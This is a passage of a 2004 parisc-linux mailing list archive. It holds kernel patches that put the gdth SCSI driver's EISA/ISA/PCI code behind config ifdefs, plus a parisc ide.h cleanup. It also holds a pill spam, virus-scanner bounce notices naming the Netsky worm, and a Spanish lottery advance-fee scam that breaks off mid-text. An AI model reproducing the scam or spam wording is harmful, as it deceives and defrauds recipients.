+#endif
+#ifdef CONFIG_PCI
 static int gdth_search_pci(gdth_pci_str *pcistr);
+static int gdth_init_pci(gdth_pci_str *pcistr,gdth_ha_str *ha);
+static void gdth_sort_pci(gdth_pci_str *pcistr, int cnt);
+#endif
 static void gdth_search_dev(gdth_pci_str *pcistr, ushort *cnt, 
                             ushort vendor, ushort dev);
-static void gdth_sort_pci(gdth_pci_str *pcistr, int cnt);
-static int gdth_init_eisa(ushort eisa_adr,gdth_ha_str *ha);
-static int gdth_init_isa(ulong32 bios_adr,gdth_ha_str *ha);
-static int gdth_init_pci(gdth_pci_str *pcistr,gdth_ha_str *ha);
 
 static void gdth_enable_int(int hanum);
 static int gdth_get_status(unchar *pIStatus,int irq);
@@ -617,8 +622,10 @@ static void gdth_munmap(void *addr) 
 #endif
 
 
+#if defined(CONFIG_EISA) || defined(CONFIG_ISA)
 static unchar   gdth_drq_tab[4] = {5,6,7,7};            /* DRQ table */
 static unchar   gdth_irq_tab[6] = {0,10,11,12,14,0};    /* IRQ table */
+#endif
 static unchar   gdth_polling;                           /* polling if TRUE */
 static unchar   gdth_from_wait  = FALSE;                /* gdth_wait() */
 static int      wait_index,wait_hanum;                  /* gdth_wait() */
@@ -728,8 +735,11 @@ static int rescan = 0;
 static int virt_ctr = 0;
 /* shared access */
 static int shared_access = 1;
+
+#if defined(CONFIG_EISA) || defined(CONFIG_ISA)
 /* enable support for EISA and ISA controllers */
 static int probe_eisa_isa = 0;
+#endif
 
 #ifdef MODULE
 #if LINUX_VERSION_CODE >= 0x02011A
@@ -744,7 +754,9 @@ MODULE_PARM(max_ids, "i");
 MODULE_PARM(rescan, "i");
 MODULE_PARM(virt_ctr, "i");
 MODULE_PARM(shared_access, "i");
+#if defined(CONFIG_EISA) || defined(CONFIG_ISA)
 MODULE_PARM(probe_eisa_isa, "i");
+#endif
 MODULE_AUTHOR("Achim Leubner");
 #endif
 #if LINUX_VERSION_CODE >= 0x02040B
@@ -818,6 +830,7 @@ static void gdth_eval_mapping(ulong32 si
 
 /* controller search and initialization functions */
 
+#ifdef CONFIG_EISA
 GDTH_INITFUNC(static int, gdth_search_eisa(ushort eisa_adr))
 {
     ulong32 id;
@@ -834,8 +847,9 @@ GDTH_INITFUNC(static int, gdth_search_ei
 
     return 0;                                   
 }
+#endif
 
-
+#ifdef CONFIG_ISA
 GDTH_INITFUNC(static int, gdth_search_isa(ulong32 bios_adr))
 {
     void *addr;
@@ -850,8 +864,9 @@ GDTH_INITFUNC(static int, gdth_search_is
     }
     return 0;
 }
+#endif
 
-
+#ifdef CONFIG_PCI
 GDTH_INITFUNC(static int, gdth_search_pci(gdth_pci_str *pcistr))
 {
     ushort device, cnt;
@@ -872,6 +887,7 @@ GDTH_INITFUNC(static int, gdth_search_pc
                     PCI_DEVICE_ID_INTEL_SRC_XSCALE);
     return cnt;
 }
+#endif
 
 #if LINUX_VERSION_CODE >= 0x20363
 /* Vortex only makes RAID controllers.
@@ -1081,6 +1097,7 @@ GDTH_INITFUNC(static void, gdth_sort_pci
 }
 
 
+#ifdef CONFIG_EISA
 GDTH_INITFUNC(static int, gdth_init_eisa(ushort eisa_adr,gdth_ha_str *ha))
 {
     ulong32 retries,id;
@@ -1170,8 +1187,9 @@ GDTH_INITFUNC(static int, gdth_init_eisa
     }
     return 1;
 }
+#endif
 
-       
+#ifdef CONFIG_ISA
 GDTH_INITFUNC(static int, gdth_init_isa(ulong32 bios_adr,gdth_ha_str *ha))
 {
     register gdt2_dpram_str *dp2_ptr;
@@ -1268,8 +1286,9 @@ GDTH_INITFUNC(static int, gdth_init_isa(
     gdth_writeb(0xff, &dp2_ptr->io.irqdel);
     return 1;
 }
+#endif
 
-
+#ifdef CONFIG_PCI
 GDTH_INITFUNC(static int, gdth_init_pci(gdth_pci_str *pcistr,gdth_ha_str *ha))
 {
     register gdt6_dpram_str *dp6_ptr;
@@ -1677,6 +1696,7 @@ GDTH_INITFUNC(static int, gdth_init_pci(
 
     return 1;
 }
+#endif
 
 
 /* controller protocol functions */
@@ -4145,8 +4165,10 @@ GDTH_INITFUNC(void, internal_setup(char 
             virt_ctr = val;
         else if (!strncmp(argv, "shared_access:", 14))
             shared_access = val;
+#if defined(CONFIG_EISA) || defined(CONFIG_ISA)
         else if (!strncmp(argv, "probe_eisa_isa:", 15))
             probe_eisa_isa = val;
+#endif
         else if (!strncmp(argv, "reserve_list:", 13)) {
             reserve_list[0] = val;
             for (i = 1; i < MAX_RES_ARGS; i++) {
@@ -4193,8 +4215,6 @@ GDTH_INITFUNC(int, gdth_detect(Scsi_Host
 {
     struct Scsi_Host *shp;
     gdth_ha_str *ha;
-    ulong32 isa_bios;
-    ushort eisa_slot;
     int i,hanum,cnt,ctr;
     unchar b;
     
@@ -4227,8 +4247,12 @@ GDTH_INITFUNC(int, gdth_detect(Scsi_Host
     gdth_polling = TRUE; b = 0;
     gdth_clear_events();
 
+#if defined(CONFIG_EISA) || defined(CONFIG_ISA)
     /* As default we do not probe for EISA or ISA controllers */
-    if (probe_eisa_isa) {    
+    if (probe_eisa_isa) {
+	ulong32 isa_bios;
+	ushort eisa_slot;
+
         /* scanning for controllers, at first: ISA controller */
         for (isa_bios=0xc8000UL; isa_bios<=0xd8000UL; isa_bios+=0x8000UL) {
             dma_addr_t scratch_dma_handle;
@@ -4473,6 +4497,7 @@ GDTH_INITFUNC(int, gdth_detect(Scsi_Host
             }
         }
     }
+#endif
 
     /* scanning for PCI controllers */
 #if LINUX_VERSION_CODE < 0x2015C

--=-LOqsCaV7bXDNtGbYOngx
Content-Disposition: attachment; filename=gdth-2.4.25-noisa.patch
Content-Type: text/x-patch; name=gdth-2.4.25-noisa.patch; charset=
Content-Transfer-Encoding: 7bit

--- drivers/scsi/gdth.c.orig	2003-08-30 02:01:42.000000000 -0400
+++ drivers/scsi/gdth.c	2004-03-25 08:42:07.000000000 -0500
@@ -380,16 +380,21 @@
 static void gdth_copy_internal_data(Scsi_Cmnd *scp,char *buffer,ushort count);
 static int gdth_internal_cache_cmd(int hanum,Scsi_Cmnd *scp);
 static int gdth_fill_cache_cmd(int hanum,Scsi_Cmnd *scp,ushort hdrive);
-
+#ifdef CONFIG_EISA
 static int gdth_search_eisa(ushort eisa_adr);
+static int gdth_init_eisa(ushort eisa_adr,gdth_ha_str *ha);
+#endif
+#ifdef CONFIG_ISA
 static int gdth_search_isa(ulong32 bios_adr);
+static int gdth_init_isa(ulong32 bios_adr,gdth_ha_str *ha);
+#endif
+#ifdef CONFIG_PCI
 static int gdth_search_pci(gdth_pci_str *pcistr);
+static int gdth_init_pci(gdth_pci_str *pcistr,gdth_ha_str *ha);
+static void gdth_sort_pci(gdth_pci_str *pcistr, int cnt);
+#endif
 static void gdth_search_dev(gdth_pci_str *pcistr, ushort *cnt, 
                             ushort vendor, ushort dev);
-static void gdth_sort_pci(gdth_pci_str *pcistr, int cnt);
-static int gdth_init_eisa(ushort eisa_adr,gdth_ha_str *ha);
-static int gdth_init_isa(ulong32 bios_adr,gdth_ha_str *ha);
-static int gdth_init_pci(gdth_pci_str *pcistr,gdth_ha_str *ha);
 
 static void gdth_enable_int(int hanum);
 static int gdth_get_status(unchar *pIStatus,int irq);
@@ -589,8 +594,10 @@
 #endif
 
 
+#if defined(CONFIG_EISA) || defined(CONFIG_ISA)
 static unchar   gdth_drq_tab[4] = {5,6,7,7};            /* DRQ table */
 static unchar   gdth_irq_tab[6] = {0,10,11,12,14,0};    /* IRQ table */
+#endif
 static unchar   gdth_polling;                           /* polling if TRUE */
 static unchar   gdth_from_wait  = FALSE;                /* gdth_wait() */
 static int      wait_index,wait_hanum;                  /* gdth_wait() */
@@ -687,6 +694,11 @@
 /* shared access */
 static int shared_access = 1;
 
+#if defined(CONFIG_EISA) || defined(CONFIG_ISA)
+/* enable support for EISA and ISA controllers */
+static int probe_eisa_isa = 0;
+#endif
+
 #ifdef MODULE
 #if LINUX_VERSION_CODE >= 0x02011A
 /* parameters for modprobe/insmod */
@@ -700,6 +712,9 @@
 MODULE_PARM(rescan, "i");
 MODULE_PARM(virt_ctr, "i");
 MODULE_PARM(shared_access, "i");
+#if defined(CONFIG_EISA) || defined(CONFIG_ISA)
+MODULE_PARM(probe_eisa_isa, "i");
+#endif
 MODULE_AUTHOR("Achim Leubner");
 #endif
 #if LINUX_VERSION_CODE >= 0x02040B
@@ -764,6 +779,7 @@
 
 /* controller search and initialization functions */
 
+#ifdef CONFIG_EISA
 GDTH_INITFUNC(static int, gdth_search_eisa(ushort eisa_adr))
 {
     ulong32 id;
@@ -780,8 +796,9 @@
 
     return 0;                                   
 }
+#endif
 
-
+#ifdef CONFIG_ISA
 GDTH_INITFUNC(static int, gdth_search_isa(ulong32 bios_adr))
 {
     void *addr;
@@ -796,8 +813,9 @@
     }
     return 0;
 }
+#endif
 
-
+#ifdef CONFIG_PCI
 GDTH_INITFUNC(static int, gdth_search_pci(gdth_pci_str *pcistr))
 {
     ushort device, cnt;
@@ -816,6 +834,7 @@
                     PCI_DEVICE_ID_INTEL_SRC);
     return cnt;
 }
+#endif
 
 #if LINUX_VERSION_CODE >= 0x20363
 /* Vortex only makes RAID controllers.
@@ -1024,6 +1043,7 @@
 }
 
 
+#ifdef CONFIG_EISA
 GDTH_INITFUNC(static int, gdth_init_eisa(ushort eisa_adr,gdth_ha_str *ha))
 {
     ulong32 retries,id;
@@ -1113,8 +1133,9 @@
     }
     return 1;
 }
+#endif
 
-       
+#ifdef CONFIG_ISA       
 GDTH_INITFUNC(static int, gdth_init_isa(ulong32 bios_adr,gdth_ha_str *ha))
 {
     register gdt2_dpram_str *dp2_ptr;
@@ -1211,8 +1232,9 @@
     gdth_writeb(0xff, &dp2_ptr->io.irqdel);
     return 1;
 }
+#endif
 
-
+#ifdef CONFIG_PCI
 GDTH_INITFUNC(static int, gdth_init_pci(gdth_pci_str *pcistr,gdth_ha_str *ha))
 {
     register gdt6_dpram_str *dp6_ptr;
@@ -1612,6 +1634,7 @@
 
     return 1;
 }
+#endif
 
 
 /* controller protocol functions */
@@ -3943,6 +3966,10 @@
             virt_ctr = val;
         else if (!strncmp(argv, "shared_access:", 14))
             shared_access = val;
+#if defined(CONFIG_EISA) || defined(CONFIG_ISA)
+	else if (!strncmp(argv, "probe_eisa_isa:", 15))
+	    probe_eisa_isa = val;
+#endif
         else if (!strncmp(argv, "reserve_list:", 13)) {
             reserve_list[0] = val;
             for (i = 1; i < MAX_RES_ARGS; i++) {
@@ -3989,8 +4016,6 @@
 {
     struct Scsi_Host *shp;
     gdth_ha_str *ha;
-    ulong32 isa_bios;
-    ushort eisa_slot;
     int i,hanum,cnt,ctr;
     unchar b;
     
@@ -4023,6 +4048,12 @@
     gdth_polling = TRUE; b = 0;
     gdth_clear_events();
 
+#if defined(CONFIG_EISA) || defined(CONFIG_ISA)
+    /* As default we do not probe for EISA or ISA controllers */
+    if (probe_eisa_isa) {
+       ulong32 isa_bios;
+       ushort eisa_slot;
+
     /* scanning for controllers, at first: ISA controller */
     for (isa_bios=0xc8000UL; isa_bios<=0xd8000UL; isa_bios+=0x8000UL) {
         if (gdth_ctr_count >= MAXHA) 
@@ -4241,6 +4272,7 @@
             gdth_enable_int(hanum);
         }
     }
+#endif
 
     /* scanning for PCI controllers */
 #if LINUX_VERSION_CODE >= 0x2015C

--=-LOqsCaV7bXDNtGbYOngx--



From - Thu Nov 08 21:31:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Marion" <dr_ranntampered@krovatka.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Fwd:In-crease Your Manhood By
	3+inches!!.........coercing
Date: Fri, 26 Mar 2004 20:45:14 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <dxsgp.22160otjrjjg@Marionxlnszsltfh.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/html; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623308 7312 80.91.229.3 (22 Nov 2014 02:28:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:28 +0000 (UTC)
To: pmccabe@parisc-linux.org, parisc-linux@parisc-linux.org
Original-X-From: dr_ranntampered@krovatka.net  Fri Mar 26 12:46:01 2004
Return-Path: <dr_ranntampered@krovatka.net>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pmccabe (unknown [195.136.247.138])
	by dsl2.external.hp.com (Postfix) with SMTP
	id 342E84860; Fri, 26 Mar 2004 12:46:00 -0700 (MST)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 26 Mar 2004 19:46:02 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21206

   <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
   <meta name="Author" content="Kadafi">
   <meta name="GENERATOR" content="Mozilla/4.7 [en] (Win98; I) [Netscape]">
   <title>natgain+</title>
</head>
<body>

<center><b><font face="Verdana">THE NEW<br>
<font color=

"#FF0000"><font size=+1>NaturalGain+ PEN1S Enlargement Pills</font></font></font></b>
<br><b><font face="Verdana">will</font></b>
<br><b><font face="Verdana"><font color=

"#FF0000"><font size=+1>EXPAND</font></font></font></b>
<br><b><font face="Verdana"><font color=

"#FF0000"><font size=+1>LENGTHEN</font></font></font></b>
<br><b><font face="Verdana">and</font></b>
<br><b><font face="Verdana"><font color=

"#FF0000"><font size=+2>ENLARGE
YOUR PEN1S 3+ INCHES</font></font></font></b><font face="Verdana"></font>
<p><b><font face="Verdana">* 100% Mon.ey Back Guaran.tee</font></b>
<br><b><font face="Verdana">* FR.EE Bottle Of NaturalGain+ Worth Over $50</font></b>
<br><font face="Verdana"><b>* FR.EE "Male Help E-Book" Worth Over $50</b></font><b><font face="Verdana"><font size=+2></font></font></b>
<p><b><font face="Verdana"><font color=

"#3333FF"><font size=+2><a hrefreefshref=http://beseeching.com href=

"http://gfgfg.zss4.info/p1/?id=kadafi"><font size=+1>MORE
INFO HERE</a></font></font></font></b>
<br>
<p><font size=-2><a hrefDiogeneshref=http://Everest.com href=

"http://broadcasts.longter2.info/oz.html">no more
emailz</a></font></center>

</body>
</html>
mottoesfleeces




From - Thu Nov 08 21:31:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <Administrator@s15113731.rootmaster.info>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [MailServer Notification]To Sender virus found and
	action taken.
Date: Sat, 27 Mar 2004 03:26:23 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <0b2101c413a2$e5b91c00$fc01a8c0@muc.nccconsulting.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623308 7315 80.91.229.3 (22 Nov 2014 02:28:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:28 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: administrator@ncc-consulting.de  Fri Mar 26 19:27:32 2004
Return-Path: <administrator@ncc-consulting.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from s15113731.rootmaster.info (ncc-experience.de [217.160.143.122])
	by dsl2.external.hp.com (Postfix) with ESMTP id 21D6D4860
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Mar 2004 19:27:32 -0700 (MST)
Original-Received: from mailserver.muc.ncc-consulting.de (pD9E889CE.dip0.t-ipconnect.de
	[217.232.137.206])
	by s15113731.rootmaster.info (8.11.6/8.11.6) with ESMTP id i2R2RUo26979
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Mar 2004 03:27:30 +0100
Original-Received: from mail pickup service by mailserver.muc.ncc-consulting.de with
	Microsoft SMTPSVC; Sat, 27 Mar 2004 03:26:23 +0100
thread-index: AcQTouW2D2vYFSzDTEaK7NGyp9BM7Q==
Thread-Topic: [MailServer Notification]To Sender virus found and action taken.
Original-Sender: <Administrator@s15113731.rootmaster.info>
X-Mailer: Microsoft CDO for Exchange 2000
Content-Class: urn:content-classes:message
Importance: normal
Priority: normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 27 Mar 2004 02:26:23.0296 (UTC)
	FILETIME=[E5B91C00:01C413A2]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 27 Mar 2004 02:27:33 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21207

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = parisc-linux@lists.parisc-linux.org
Recipient(s) = Evangelos Kopanakis
Subject = Re: Encrypted Mail
Scanning time = 3/27/2004 3:26:22 AM
Engine/Pattern = 6.860-1001/1.840.00

Action on virus found:
The attachment readme.zip contains WORM_NETSKY.P virus. ScanMail has Passed it. 

Warning to sender! 
A Virus was found in an Mail you send to us. 
Please check your System!


From - Thu Nov 08 21:31:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <Administrator@s15113731.rootmaster.info>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [MailServer Notification]To Sender virus found and
	action taken.
Date: Sat, 27 Mar 2004 07:20:30 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <0baa01c413c3$9a7efae0$fc01a8c0@muc.nccconsulting.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623309 7319 80.91.229.3 (22 Nov 2014 02:28:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:29 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: administrator@ncc-consulting.de  Fri Mar 26 23:20:35 2004
Return-Path: <administrator@ncc-consulting.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from s15113731.rootmaster.info (ncc-experience.de [217.160.143.122])
	by dsl2.external.hp.com (Postfix) with ESMTP id A39324860
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Mar 2004 23:20:34 -0700 (MST)
Original-Received: from mailserver.muc.ncc-consulting.de (pD9E889CE.dip0.t-ipconnect.de
	[217.232.137.206])
	by s15113731.rootmaster.info (8.11.6/8.11.6) with ESMTP id i2R6KWo21145
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Mar 2004 07:20:33 +0100
Original-Received: from mail pickup service by mailserver.muc.ncc-consulting.de with
	Microsoft SMTPSVC; Sat, 27 Mar 2004 07:20:30 +0100
thread-index: AcQTw5p+o9xYu8tZRDOOek/zg3KXpg==
Thread-Topic: [MailServer Notification]To Sender virus found and action taken.
Original-Sender: <Administrator@s15113731.rootmaster.info>
X-Mailer: Microsoft CDO for Exchange 2000
Content-Class: urn:content-classes:message
Importance: normal
Priority: normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 27 Mar 2004 06:20:30.0744 (UTC)
	FILETIME=[9AA79180:01C413C3]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 27 Mar 2004 06:20:35 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21208

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = parisc-linux@lists.parisc-linux.org
Recipient(s) = Evangelos Kopanakis
Subject = Re: Encrypted Mail
Scanning time = 3/27/2004 7:20:30 AM
Engine/Pattern = 6.860-1001/1.840.00

Action on virus found:
The attachment readme.zip contains WORM_NETSKY.P virus. ScanMail has Passed it. 

Warning to sender! 
A Virus was found in an Mail you send to us. 
Please check your System!


From - Thu Nov 08 21:31:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bartlomiej Zolnierkiewicz <B.Zolnierkiewicz@elka.pw.edu.pl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] asm-parisc/ide.h cleanup (there are no
	standard ports)
Date: Wed, 24 Mar 2004 14:43:43 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <200403241443.43206.bzolnier__5182.24944030425$1416623309$gmane$org@elka.pw.edu.pl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623309 7322 80.91.229.3 (22 Nov 2014 02:28:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:29 +0000 (UTC)
Cc: linux-ide@vger.kernel.org
To: parisc-linux@parisc-linux.org
Original-X-From: B.Zolnierkiewicz@elka.pw.edu.pl  Sat Mar 27 01:42:10 2004
Return-Path: <B.Zolnierkiewicz@elka.pw.edu.pl>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mion.elka.pw.edu.pl (mion.elka.pw.edu.pl [194.29.160.35])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2C1A74860
	for <parisc-linux@parisc-linux.org>;
	Sat, 27 Mar 2004 01:42:10 -0700 (MST)
Original-Received: from chello062179061026.chello.pl ([62.179.61.26]:33138 "EHLO
	192.168.0.252") by mion.elka.pw.edu.pl with ESMTP id <S19422AbUC0Ilq>; 
	Sat, 27 Mar 2004 09:41:46 +0100
User-Agent: KMail/1.5.3
Content-Disposition: inline
X-Virus-Scanned: by AMaViS perl-11 mion
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 27 Mar 2004 08:42:10 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21209


Hi,

Is this patch correct?

Regards,
Bartlomiej

 linux-2.6.5-rc2-bk3-root/include/asm-parisc/ide.h |   15 ++-------------
 1 files changed, 2 insertions(+), 13 deletions(-)

diff -puN include/asm-parisc/ide.h~parisc_no_default_ide_ports include/asm-parisc/ide.h
--- linux-2.6.5-rc2-bk3/include/asm-parisc/ide.h~parisc_no_default_ide_ports	2004-03-24 14:39:06.293991064 +0100
+++ linux-2.6.5-rc2-bk3-root/include/asm-parisc/ide.h	2004-03-24 14:39:33.400870192 +0100
@@ -41,19 +41,8 @@ static __inline__ void ide_init_hwif_por
 	hw->io_ports[IDE_IRQ_OFFSET] = 0;
 }
 
-static __inline__ void ide_init_default_hwifs(void)
-{
-#ifndef CONFIG_PCI
-	hw_regs_t hw;
-	int index;

From - Thu Nov 08 21:31:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "lottery-espana@zwallet.com" <lottery-espana@zwallet.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] AWARD  WINNING  NOTIFICATION
Date: Sat, 27 Mar 2004 12:13:06 +0100
Lines: 56
Approved: news@gmane.org
Message-ID: <20040327111300.CF3554857@dsl2.external.hp.com>
Reply-To: lottery-espana@zwallet.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623309 7327 80.91.229.3 (22 Nov 2014 02:28:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:29 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: lottery-espana@zwallet.com  Sat Mar 27 04:13:02 2004
Return-Path: <lottery-espana@zwallet.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from emzitd1540.com (53.Red-80-39-210.pooles.rima-tde.net
	[80.39.210.53])
	by dsl2.external.hp.com (Postfix) with SMTP id CF3554857
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 27 Mar 2004 04:13:00 -0700 (MST)
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 27 Mar 2004 11:13:02 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21210

EL GORDO SPANISH SWEEPSTAKE LOTTERY COMPANY
     CALLE AROYO NO 13=2C PISO 4G 28030 MADRID ESPANA
             TEL=3A 0034-916131965=2E
DATE=3A 27TH OF MARCH  2004
FROM=3A THE DESK OF THE VICE PRESIDENT=2E
INTERNATIONAL PROMOTIONS=2FPRIZE AWARD=2E=2E
BATCH=3A EGS=2F 3350477=2F04=3A REFERENCE=3A 77=2F0045=2FIPD
ATTENTION=3ASIR=2FMADAM
RE=3A  AWARD WINNINGNOTIFICATION=2E
This is to inform you of the release of the EL-GORDO DE LA PRIMITIVA 
LOTTERY held on the 10th of January 2004=2E The results were released 
today the 27TH OF MARCH 2004=2EYour name was attached to ticket number 185-01523370-100
 with serial number 99375-0 that drew the lucky numbers of 3=2C 9=2C 77=2C 64=2C
 39 =2C55 which consequently won the lottery in the 4thcategory=2E You have 
therefore been approved for alump sum pay of 625=2C000=2E39Euros =28SIX 
HUNDRED AND TWENTY FIVETHOUSAND=2CTHIRTY NINE CENTIMOS ONLY=29 in cash 
credited to file withREF=3AN=2EEGS=2F3662367114=2F13=2E This is from 75=2C000=2C000=2E00
 =28SEVENTY FIVEMILLION EUROS=29 in cash among the 26 participating finalist
 playing 6=2C000full tickets=2E CONGRATULATIONS!!!
Your fund is now deposited with our Security Company and insured in your
 name=2E Due to mix up of some numbers and names=2C we ask that you keep 
this award from public notice untill your claims has been processed and 
the money remitted to your account as this is part of our security 
protocolto avoid double claiming of unwarranted taking advantage of this
 program by participants as it has happened in the past=2E All 
participants were selected through a computer ballot system drawn from25=2C000
 names from Asia=2C Australia=2CNew Zealand=2C Europe=2C North and South America=2C
 Middle East and Africa as part of our International Promotions Program=2EWe
 hope your lucky name will draw a bigger cash prize in the 
subsequentprograms=2E
To begin your lottery claims =2C please contact your claims agent=2C DR=2E
DAVID PEDRO=2E =28drdavidpedro=40zwallet=2Ecom=29 on Telephone number=3A+34 
620093064=2C FAX=3A+34 675 162 718=2E
Remember=2C all prize money must be claimed not later than 28th of april 
